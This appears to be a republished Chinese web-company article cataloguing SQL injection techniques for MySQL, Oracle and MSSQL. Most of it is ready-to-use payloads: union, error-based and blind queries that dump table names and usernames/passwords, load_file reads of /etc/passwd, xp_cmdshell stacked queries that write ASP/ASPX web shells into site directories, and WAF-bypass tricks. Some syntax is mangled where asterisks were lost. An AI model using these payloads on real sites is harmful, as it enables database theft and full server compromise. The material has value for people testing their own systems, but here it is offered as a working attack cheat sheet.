新聞中心
小編給大家分享一下SQL注入類型有哪些,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
創(chuàng)新互聯(lián)公司網(wǎng)站建設(shè)由有經(jīng)驗(yàn)的網(wǎng)站設(shè)計(jì)師、開發(fā)人員和項(xiàng)目經(jīng)理組成的專業(yè)建站團(tuán)隊(duì),負(fù)責(zé)網(wǎng)站視覺(jué)設(shè)計(jì)、用戶體驗(yàn)優(yōu)化、交互設(shè)計(jì)和前端開發(fā)等方面的工作,以確保網(wǎng)站外觀精美、成都網(wǎng)站設(shè)計(jì)、網(wǎng)站制作、外貿(mào)營(yíng)銷網(wǎng)站建設(shè)易于使用并且具有良好的響應(yīng)性。
前言
SQL注入的攻擊方式根據(jù)應(yīng)用程序處理數(shù)據(jù)庫(kù)返回內(nèi)容的不同,可以分為可顯注入、報(bào)錯(cuò)注入和盲注。
可顯注入
攻擊者可以直接在當(dāng)前界面內(nèi)容中獲取想要獲得的內(nèi)容。
報(bào)錯(cuò)注入
數(shù)據(jù)庫(kù)查詢返回結(jié)果并沒(méi)有在頁(yè)面中顯示,但是應(yīng)用程序?qū)?shù)據(jù)庫(kù)報(bào)錯(cuò)信息打印到了頁(yè)面中,所以攻擊者可以構(gòu)造數(shù)據(jù)庫(kù)報(bào)錯(cuò)語(yǔ)句,從報(bào)錯(cuò)信息中獲取想要獲得的內(nèi)容。
盲注
數(shù)據(jù)庫(kù)查詢結(jié)果無(wú)法從直觀頁(yè)面中獲取,攻擊者通過(guò)使用數(shù)據(jù)庫(kù)邏輯或使數(shù)據(jù)庫(kù)庫(kù)執(zhí)行延時(shí)等方法獲取想要獲得的內(nèi)容。
MySQL 手工注入
lian合注入
?id=1' order by 4--+ ?id=0' union select 1,2,3,database()--+ ?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+ ?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+ group_concat(column_name) 可替換為 unhex(Hex(cast(column_name+as+char)))column_name ?id=0' union select 1,2,3,group_concat(password) from users --+ group_concat 可替換為 concat_ws(',',id,users,password ) ?id=0' union select 1,2,3,password from users limit 0,1--+
報(bào)錯(cuò)注入
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select \* from test where id=1 and geometrycollection((select \* from(select \* from(select user())a)b));
5.multipoint()
select \* from test where id=1 and multipoint((select \* from(select \* from(select user())a)b));
6.polygon()
select \* from test where id=1 and polygon((select \* from(select \* from(select user())a)b));
7.multipolygon()
select \* from test where id=1 and multipolygon((select \* from(select \* from(select user())a)b));
8.linestring()
select \* from test where id=1 and linestring((select \* from(select \* from(select user())a)b));
9.multilinestring()
select \* from test where id=1 and multilinestring((select \* from(select \* from(select user())a)b));
10.exp()
select \* from test where id=1 and exp(\~(select \* from(select user())a)); 爆庫(kù):?id=1' and updatexml(1,(select concat(0x7e,(schema\_name),0x7e) from information\_schema.schemata limit 2,1),1) -- + 爆表:?id=1' and updatexml(1,(select concat(0x7e,(table\_name),0x7e) from information\_schema.tables where table\_schema='security' limit 3,1),1) -- + 爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column\_name),0x7e) from information\_schema.columns where table\_name=0x7573657273 limit 2,1),1) -- + 爆數(shù)據(jù):?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- + concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1) 盲注
時(shí)間盲注
常用函數(shù) sleep()
分割函數(shù) substr、substring、left
分割函數(shù)編碼后可不用引號(hào),ascii() hex()
一般時(shí)間盲注我們還需要使用條件判斷函數(shù)
if(expre1,expre2,expre3)
當(dāng) expre1 為 true 時(shí),返回 expre2,false 時(shí),返回 expre3
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+ ?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
布爾盲注
?id=1' and substr((select user()),1,1)='r' -- + ?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- + //如果 IFNULL 第一個(gè)參數(shù)的表達(dá)式為 NULL,則返回第二個(gè)參數(shù)的備用值,不為 Null 則輸出值 ?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- + //若所有的字符串均相同,STRCMP() 返回 0,若根據(jù)當(dāng)前分類次序,第一個(gè)參數(shù)小于第二個(gè),則返回 -1 ,其它情況返回 1 insert,delete,update
這種注入會(huì)出現(xiàn)在 注冊(cè)、ip頭、留言板等等需要寫入數(shù)據(jù)的地方,如用sqlmap會(huì)產(chǎn)生大量垃圾數(shù)據(jù)
嘗試性插入、引號(hào)、雙引號(hào)、轉(zhuǎn)義符 \ 讓語(yǔ)句不能正常執(zhí)行,然后如果插入失敗,更新失敗,然后深入測(cè)試確定是否存在注入
二次注入和寬字節(jié)注入
二次注入:
沒(méi)有單引號(hào)的sql語(yǔ)句中,進(jìn)行16進(jìn)制編碼,這樣就不會(huì)帶有單引號(hào)
寬字節(jié)注入:
單引號(hào)轉(zhuǎn)義為 ' , mysql 會(huì)將 \ 編碼為 %5c ,寬字節(jié)中兩個(gè)字節(jié)代表一個(gè)漢字,所以把 %df 加上 %5c 就變成了一個(gè)漢字“運(yùn)”,從而繞過(guò)轉(zhuǎn)義
Oracle 手工注入
lian合注入
?id=-1' union select user,null from dual-- ?id=-1' union select version,null from v$instance-- ?id=-1' union select table\_name,null from (select \* from (select rownum as limit,table\_name from user\_tables) where limit=3)-- ?id=-1' union select column\_name,null from (select \* from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=2)-- ?id=-1' union select username,passwd from users-- ?id=-1' union select username,passwd from (select \* from (select username,passwd,rownum as limit from users) where limit=3)--
報(bào)錯(cuò)注入
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select table\_name from (select rownum as limit,table\_name from user\_tables) where limit= 3))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select column\_name from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=3))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
布爾盲注
?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)-- ?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)-- ?id=1' and ascii(substr(user,1,1))> 64--
時(shí)間盲注
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)-- ?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)--
SQL手工注入
判斷注入點(diǎn)是否存在
數(shù)字型注入
url后輸入
and 1=1
and 1=2
如返回不同,則可判斷注入點(diǎn)存在
例:
http://www.xxx.cn/news.php?p=1&id=4' 返回錯(cuò)誤
http://www.xxx.cn/news.php?p=1&id=4 and 1=1 返回正確
http://www.xxx.cn/news.php?p=1&id=4 and 1=2 返回錯(cuò)誤
字符型注入
url后輸入
' and 1=1 and '1'='1
' and 1=2 and '1'='1
http://www.xxx.cn/news.php?p=1&id=4' 返回錯(cuò)誤
http://www.xxx.cn/news.php?p=1&id=4' and 1=1 and '1'='1 返回正確
http://www.xxx.cn/news.php?p=1&id=4' and 1=2 and '1'='1 返回錯(cuò)誤
搜索型注入
輸入框中輸入
' 返回錯(cuò)誤
x%' and 1=1 and '%'=' 返回正確
x%' and 1=2 and '%'=' 返回錯(cuò)誤
判斷字段數(shù)
數(shù)字型
http://www.xxx.cn/news.php?p=1&id=4 order by 26 返回正確
http://www.xxx.cn/news.php?p=1&id=4 order by 27 返回錯(cuò)誤
得出結(jié)論:字段數(shù)26。
字符型
http://www.xxx.cn/news.php?p=1&id=4' order by 26 # 返回正確
http://www.xxx.cn/news.php?p=1&id=4' order by 27 # 返回錯(cuò)誤
得出結(jié)論:字段數(shù)26。
搜索型
x%' order by 26 # 返回正確
x%' order by 27 # 返回錯(cuò)誤
得出結(jié)論:字段數(shù)26。
尋找可顯示字段
數(shù)字型
http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,2,3,4,5,6,7,8,9,....
字符型
http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #
搜索型
x%' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #
查數(shù)據(jù)庫(kù)名
數(shù)字型
http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,2,database(),4,5,6,7,8,9,....
字符型
http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #
搜索型
x%' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #
查數(shù)據(jù)庫(kù)中表名
數(shù)字型
http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='數(shù)據(jù)庫(kù)名'
數(shù)據(jù)庫(kù)名也可以使用十六進(jìn)制
字符型
http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='數(shù)據(jù)庫(kù)名' #
數(shù)據(jù)庫(kù)名也可以使用十六進(jìn)制
搜索型
X%' and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,.... from information_schema.tables where table_schema='數(shù)據(jù)庫(kù)名' #
數(shù)據(jù)庫(kù)名也可以使用十六進(jìn)制
查表中的列名
數(shù)字型
http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名'
表名也可以使用十六進(jìn)制
字符型
http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名' #
表名也可以使用十六進(jìn)制
搜索型
x%' and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8,9,.... from information_schema.columns where table_name='表名' #
表名也可以使用十六進(jìn)制
查表中的數(shù)據(jù)
數(shù)字型
http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名
字符型
http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名 #
搜索型
x%' and 1=2 union select 1,2,group_concat(username,password),4,5,6,7,8,9,.... from 表名 #
顯示版本:select version();
顯示字符集:select @@character_set_database;
顯示數(shù)據(jù)庫(kù)show databases;
顯示表名:show tables;
顯示計(jì)算機(jī)名:select @@hostname;
顯示系統(tǒng)版本:select @@version_compile_os;
顯示mysql路徑:select @@basedir;
顯示數(shù)據(jù)庫(kù)路徑:select @@datadir;
顯示root密碼:select User,Password from mysql.user;
開啟外連:GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
MySQL函數(shù)利用
MySQL提供了load_file()函數(shù),可以幫助用戶快速讀取文件,但是文件位置必須在服務(wù)器上,文件路徑必須為絕對(duì)路徑,而且需要root權(quán)限
SQL語(yǔ)句如下: union select 1,load_file(‘/etc/passwd’),3,4,5 #
通常,一些防注入語(yǔ)句不允許單引號(hào)的出現(xiàn),那么可以使用一下語(yǔ)句繞過(guò):
union select 1,load_file(0x272F6574632F70617373776427),3,4,5 #
對(duì)路徑進(jìn)行16進(jìn)制轉(zhuǎn)換。
MSSQL手工注入
與SQL注入不同的是,SQL利用的爆出顯示的字段,MSSQL利用的報(bào)錯(cuò)注入,插入惡意的sql語(yǔ)句,讓查詢報(bào)錯(cuò),在報(bào)出的錯(cuò)誤中,顯示我們想要的信息。
注入點(diǎn):
www.xxx.cn/xxx/xxx.aspx?id=1
查詢數(shù)據(jù)庫(kù)版本
@@version:MSSQL全局變量,表示數(shù)據(jù)庫(kù)版本信息。
測(cè)試語(yǔ)句:
http://www.xxx.cn/xxx/xxx.aspx?id=1 and @@version>0
注意:“and @@vsersion>0”也可以寫成“and 0/@@version>0”
報(bào)錯(cuò)信息:
在將 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64) Aug 19 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 原因: @@version是MSSQL的全局變量,如果我們?cè)凇?id=1”后面加上“and @@version>0”,那么“and”后面的語(yǔ)句會(huì)將“@@version”強(qiáng)制抓換成int類型與0比較大小,但是類型轉(zhuǎn)換失敗,所以就將數(shù)據(jù)庫(kù)信息暴露出來(lái)。 @@servername:MSSQL全局變量,表示計(jì)算機(jī)名稱。 報(bào)錯(cuò)信息: 在將 nvarchar 值 ‘WINDOWS-XXXXXX‘ 轉(zhuǎn)換成數(shù)據(jù)類型 int 時(shí)失敗。 db_name():當(dāng)前使用的數(shù)據(jù)庫(kù)名稱。 報(bào)錯(cuò)信息: 在將 nvarchar 值 ‘a(chǎn)bc‘ 轉(zhuǎn)換成數(shù)據(jù)類型 int 時(shí)失敗。 User_Name():當(dāng)前連接數(shù)據(jù)庫(kù)的用戶。 報(bào)錯(cuò)信息: 在將 nvarchar 值 ‘dbo‘ 轉(zhuǎn)換成數(shù)據(jù)類型 int 時(shí)失敗。 注意: 如果看到dbo,那么多半當(dāng)前數(shù)據(jù)庫(kù)的用戶是dba權(quán)限。 爆其他數(shù)據(jù)庫(kù): http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0 報(bào)錯(cuò)信息: 在將 nvarchar 值 ‘master‘ 轉(zhuǎn)換成數(shù)據(jù)類型 int 時(shí)失敗。 再爆其他的數(shù)據(jù)庫(kù)則這么寫: http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0 繼續(xù)的話要這么寫: http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','abc'))>0 查表名: http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0)>0 報(bào)錯(cuò)信息: 在將 nvarchar 值 ‘depart‘ 轉(zhuǎn)換成數(shù)據(jù)類型 int 時(shí)失敗。 再爆其他表: http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('depart'))>0 再繼續(xù): http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('depart','worker'))>0 查字段名: http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart')>0 報(bào)錯(cuò)信息: 在將 nvarchar 值 ‘ID‘ 轉(zhuǎn)換成數(shù)據(jù)類型 int 時(shí)失敗。 再爆其他字段: http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart' and COLUMN_NAME not in('ID'))>0 再繼續(xù): http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart' and COLUMN_NAME not in('ID','NAME'))>0 查詢數(shù)據(jù): http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 password from depart)>0 報(bào)錯(cuò)信息: 在將 nvarchar 值 ‘B5A1EF8730200F93E50F4F5DEBBCAC0B‘ 轉(zhuǎn)換成數(shù)據(jù)類型 int 時(shí)失敗。 如果數(shù)據(jù)的權(quán)限是dba,且知道網(wǎng)站絕對(duì)路徑的話,那么我們就可以用這個(gè)語(yǔ)句來(lái)寫一句話木馬進(jìn)去: asp木馬: http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>''" > d:\KfSite\kaifeng\2.asp'-- aspx木馬: http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=Jscript %>;<%eval(Request("sb"),"unsafe")%>''" >C:\inetpub\wwwroot\2.aspx' -- 原理是sql server支持堆疊查詢,利用xp_cmdshell可以執(zhí)行cmd指令,cmd指令中用【echo 內(nèi)容 > 文件】可以寫文件到磁盤里面。 http://www.xxx.com/xxx/xxx.aspx?username=xxx 利用火狐瀏覽器中的hackbar工具的Encoding底下的“HEX Encoding”輕松把字符串編碼成為可以利用的hex,然后利用報(bào)錯(cuò)注入就可以注入這個(gè)網(wǎng)站。 select convert(int,@@version) hex編碼后:0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 然后使用如下方式注入: http://www.xxx.com/xxx/xxx.aspx?username=xxx';dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)– 報(bào)錯(cuò)信息: 在將 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)‘ 轉(zhuǎn)換成數(shù)據(jù)類型 int 時(shí)失敗。 注意后面的注入語(yǔ)句: dEcLaRe @s vArChAr(8000) //聲明一個(gè)局部變量@s,類型為varchar(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 //給@s賦值,為“select convert(int,@@version)”的十六進(jìn)制編碼 eXeC(@s) //調(diào)用函數(shù)exec()執(zhí)行“@s”中的內(nèi)容。 select convert(int,db_name()) select convert(int,User_Name()) select convert(int,(select top 1 name from abc[數(shù)據(jù)庫(kù)名].sys.all_objects where type=’U’ AND is_ms_shipped=0)) select convert(int,(select top 1 name from abc[數(shù)據(jù)庫(kù)名].sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘CMS_ArticleClass’))) select convert(int,(select top 1 COLUMN_NAME from abc[數(shù)據(jù)庫(kù)名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’)) select convert(int,(select top 1 COLUMN_NAME from abc[數(shù)據(jù)庫(kù)名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’ and COLUMN_NAME not in (‘id’))) select convert(int,(select top 1 username from CMS_Admin)) select convert(int,(select top 1 password from CMS_Admin)) 1.id-1,頁(yè)面如果返回正確頁(yè)面說(shuō)明是有注入,那+1可以嗎?(www.test.com/xsn.php?id=12+1) 不行,因?yàn)榧犹?hào)在url里面是空格的意思。 2.你知道m(xù)ysql里有幾種注釋方式嗎? 三種:①.# 這個(gè)注釋直到該行結(jié)束;②./注釋多行/;③.–+ 這個(gè)注釋直到該行結(jié)束。 第三種需要解釋一下,因?yàn)橹拔也恢肋@個(gè)方法,說(shuō)‘–’是注釋符我還大概有印象,但是–+就懵。其實(shí)是– ,注意–的后面有一個(gè)空格。但是在url里你直接空格會(huì)被瀏覽器直接處理掉,就到不了數(shù)據(jù)庫(kù)里。所以特意用加號(hào)代替。 3.“select select * from admin”可以執(zhí)行嗎?倘若不可以請(qǐng)說(shuō)明。 不可以執(zhí)行,在使用select雙層的時(shí)候要把第二個(gè)括起來(lái),否則無(wú)效。 4.倘若空格過(guò)濾了,你知道有哪些可以繞過(guò)嗎?或者說(shuō)你知道哪些可以替代空格嗎?這些是空字符。比如un%0aion會(huì)被當(dāng)做union來(lái)處理。 假如空格被過(guò)濾了,可能的sql語(yǔ)句就會(huì)變成:select from messages where uid=45or1=1,我們可以使用//來(lái)替換空格: http://www.xxx.com/index.php?id=45//or/**/1=1 另外: %09 %0A %0D + /|–|/ /@–|/ /?–|/ /|%20–%20|/ 都可以替代空格。 5.Windows下的Oracle數(shù)據(jù)庫(kù)是什么權(quán)限? Windows下的Oracle數(shù)據(jù)庫(kù),必須以system權(quán)限運(yùn)行。 6.SQL注入和SQL盲注有何差別? 在常規(guī)的SQL注入中,應(yīng)用返回?cái)?shù)據(jù)庫(kù)中的數(shù)據(jù)并呈現(xiàn)給你,而在SQL盲注漏洞中,你只能獲取分別與注入中的真假條件相對(duì)應(yīng)的兩個(gè)不同響應(yīng),應(yīng)用會(huì)針對(duì)真假條件返回不同的值,但是攻擊者無(wú)法檢索查詢結(jié)果。 7.什么是引發(fā)SQL注入漏洞的主要原因? Web應(yīng)用未對(duì)用戶提供的數(shù)據(jù)進(jìn)行充分審查和未對(duì)輸出進(jìn)行編碼是產(chǎn)生問(wèn)題的主要原因。 8.什么是堆疊查詢(stacked query)? 在單個(gè)數(shù)據(jù)庫(kù)連接中,執(zhí)行多個(gè)查詢序列,是否允許堆疊查詢是影響能否利用SQL注入漏洞的重要因素之一。 在MYSQL中,SELECT * FROM members; DROP members;是可以執(zhí)行的,數(shù)據(jù)庫(kù)是肯定支持堆疊查詢的,但是讓php來(lái)執(zhí)行堆疊查詢的sql語(yǔ)句就不一定行了。 /*! ... */ 是啥意思? MYSQL數(shù)據(jù)庫(kù)特有,如果在注釋的開頭部分添加一個(gè)感嘆號(hào)并在后面跟上數(shù)據(jù)庫(kù)版本編號(hào),那么該注釋將被解析成代碼,只要數(shù)據(jù)庫(kù)版本高于或者等于注釋中包含的版本,代碼就會(huì)被執(zhí)行。 select 1 /!40119 + 1/ 該查詢結(jié)果: 返回2(MySQL版本為4.01.19或者更高) 返回1(其他情況) 10.如果注入語(yǔ)句中的‘=’被過(guò)濾? 可以考慮使用like關(guān)鍵字替換:union select password from users where username like admin; 11.如果空格被過(guò)濾? 可以考慮使用‘/**/’替換: union//select//password//from//users//where//username//like//admin; 注意,如果過(guò)濾了關(guān)鍵字,在MySQL中,還可以在關(guān)鍵字內(nèi)部使用內(nèi)聯(lián)注釋來(lái)繞過(guò): uni//on//sel//ect//password//fr//om//users//wh//ere//username//like//admin; 12.SQL注入中的‘+’? MSSQL:在MSSQL中,“+”運(yùn)算符被用于字符串連接和加法運(yùn)算,‘1’+‘1’=‘11’,1+1=2; MySQL:在MySQL中,“+”運(yùn)算符只被用于加法運(yùn)算,‘1’+‘1’=‘2’,1+1=2; Oracle:在Oracle中,“+”運(yùn)算符只被用于加法運(yùn)算,‘1’+‘1’=‘2’,1+1=2。 13.數(shù)據(jù)庫(kù)中字符串的連接符? MSSQL:‘a(chǎn)’+‘b’=‘a(chǎn)b’ MYSQL:‘a(chǎn)’ ‘b’=‘a(chǎn)b’ Oracle:‘a(chǎn)’||‘b’=‘a(chǎn)b’ 14.注釋符 MSSQL:‘-- ’(注意后面的空格),‘/.../’ MySQL:‘-- ’,‘# ’,‘/.../’,注意,--后面必須要有一個(gè)或者多個(gè)空格。 Oracle:‘-- ’,‘/.../’ 三種數(shù)據(jù)庫(kù)中,通用的注釋符是‘-- ’ union/**/select union/aaaa%01bbs/select union/aaaaaaaaaaaaaaaaaaaaaaaaaaaa/select 內(nèi)連注釋:/!xxxx/ MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/ 正則的空白符:%09,%0A,%0B,%0D,%20 Example-1:union%250Cselect Example-1:union%25A0select concat%2520( concat/**/( concat%250c( concat%25a0( select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0 Error-based SQL注入函數(shù)非常容易被忽略 MySQL特殊語(yǔ)法 select{x table_name}from{x information_schema.tables}; 以注釋繞過(guò)為例子,開始Fuzz 注釋符繞過(guò): *先測(cè)試最基本的: union/**/select *再測(cè)試中間引入特殊字:union/aaaa%01bbs/select *最后測(cè)試注釋長(zhǎng)度:union/aaaaaaaaaaaaaaaaaaaaaaa/select 最基本的模式: union/something/select 大小寫繞過(guò) 如果程序中設(shè)置了過(guò)濾關(guān)鍵字,但是過(guò)濾過(guò)程中并沒(méi)有對(duì)關(guān)鍵字組成進(jìn)行深入分析過(guò)濾,導(dǎo)致只對(duì)整體進(jìn)行過(guò)濾。 例如:and過(guò)濾。當(dāng)然這種過(guò)濾只是發(fā)現(xiàn)關(guān)鍵字出現(xiàn),并不會(huì)對(duì)關(guān)鍵字處理。可以通過(guò)修改關(guān)鍵字的內(nèi)字母大小寫來(lái)繞過(guò)過(guò)濾措施。 如果在程序中設(shè)置出現(xiàn)關(guān)鍵字之后替換為空,那么SQl注入攻擊也不會(huì)發(fā)生。對(duì)于這樣的過(guò)濾策略可以使用雙寫繞過(guò)。因?yàn)樵谶^(guò)濾過(guò)程中只進(jìn)行了一次替換。 例如:過(guò)濾了union 只要發(fā)現(xiàn)union 無(wú)論大小寫都會(huì)被替換為空。這是就可以通過(guò)雙寫uniunionon的寫法來(lái)對(duì)過(guò)濾進(jìn)行繞過(guò)。 可以利用網(wǎng)絡(luò)中的URl在線編碼,繞過(guò)SQL注入的過(guò)濾機(jī)制。 http://tool.chinaz.com/Tools/urlencode.aspx 1 在Mysql中內(nèi)容注釋中的內(nèi)容可以被當(dāng)做SQL語(yǔ)句執(zhí)行。 Mysql一些特性: 1、Mysql中的大小寫不敏感,大寫和小寫一樣。 2、Mysql中的十六進(jìn)制與URL編碼。 3、符號(hào)和關(guān)鍵字替換 and --> &&、or --> || 4、內(nèi)聯(lián)注釋與多行注釋 /!內(nèi)聯(lián)注釋/ /多行注釋/。 5、Mysql中會(huì)自動(dòng)識(shí)別URL與Hex編碼好的內(nèi)容。 繞過(guò)策略: 1、大小寫變形,or,OR,oR,Or,and,And,AND,aND等。 2、在這兩個(gè)敏感詞匯中添加注釋,例如:a/**/and 雙寫:oorr 3、利用符號(hào)替代 and–>&&、or–>|| 編碼:hex,urlencode 空格URL編碼: %0a 新建一行 %0c 新的一頁(yè) %0d return功能 %0b TAB鍵(垂直) Sqlmap安全檢測(cè): sqlmap -u “URL” --hex --dbs --batch 編碼%0a、加入/**/符,union/select大小寫、雙寫等繞過(guò)。 以上是“SQL注入類型有哪些”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對(duì)大家有所幫助,如果還想學(xué)習(xí)更多知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!
查詢計(jì)算機(jī)名稱
查詢當(dāng)前數(shù)據(jù)庫(kù)名稱
查詢當(dāng)前連接數(shù)據(jù)庫(kù)的用戶
查詢其他數(shù)據(jù)庫(kù)名稱
查詢數(shù)據(jù)庫(kù)中的表名
查詢表中的列名或者是字段名
爆數(shù)據(jù)
寫入一句話木馬
利用hex編碼繞過(guò)WAF
爆數(shù)據(jù)庫(kù)版本
爆當(dāng)前數(shù)據(jù)庫(kù)
爆當(dāng)前用戶
爆表
爆字段
爆數(shù)據(jù)
SQL注入之你問(wèn)我答小知識(shí)
WAF繞過(guò)
規(guī)則層面的繞過(guò)
SQL注釋符繞過(guò)
空白符號(hào)繞過(guò):
函數(shù)分隔符號(hào):
浮點(diǎn)數(shù)詞法分析:
利用error_based進(jìn)行SQL注入:extractvalue(1,concat(0x5c,md5(3)));
updatexml(1,concat(0x5d,md5(3)),1);
GeometryCollection((select * from (select * from
(select@@version)f)x))
polygon((select*from (select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
每一個(gè)點(diǎn)都能找到繞過(guò)的方法
常規(guī)繞過(guò)手段
雙寫繞過(guò)
編碼繞過(guò)
內(nèi)聯(lián)注釋繞過(guò)
繞過(guò)過(guò)濾and和or的SQL注入
繞過(guò)去除空格的SQL注入
繞過(guò)去除(union和select)的SQL注入
當(dāng)前名稱:SQL注入類型有哪些
本文路徑:http://www.ef60e0e.cn/article/jhiseg.html
其他資訊
- php數(shù)據(jù)遍歷 php字符串遍歷
- c語(yǔ)言轉(zhuǎn)化數(shù)據(jù)類型函數(shù) c語(yǔ)言數(shù)據(jù)類型轉(zhuǎn)換規(guī)則,不同數(shù)據(jù)類型之間如何轉(zhuǎn)換?
- c語(yǔ)言結(jié)構(gòu)初始化函數(shù)定義 c語(yǔ)言結(jié)構(gòu)體初始化的四種方法
- php數(shù)據(jù)庫(kù)操作封裝 mysql數(shù)據(jù)庫(kù)封裝
- php讀取數(shù)據(jù)庫(kù)存入數(shù)組 php怎么從數(shù)據(jù)庫(kù)讀取數(shù)據(jù)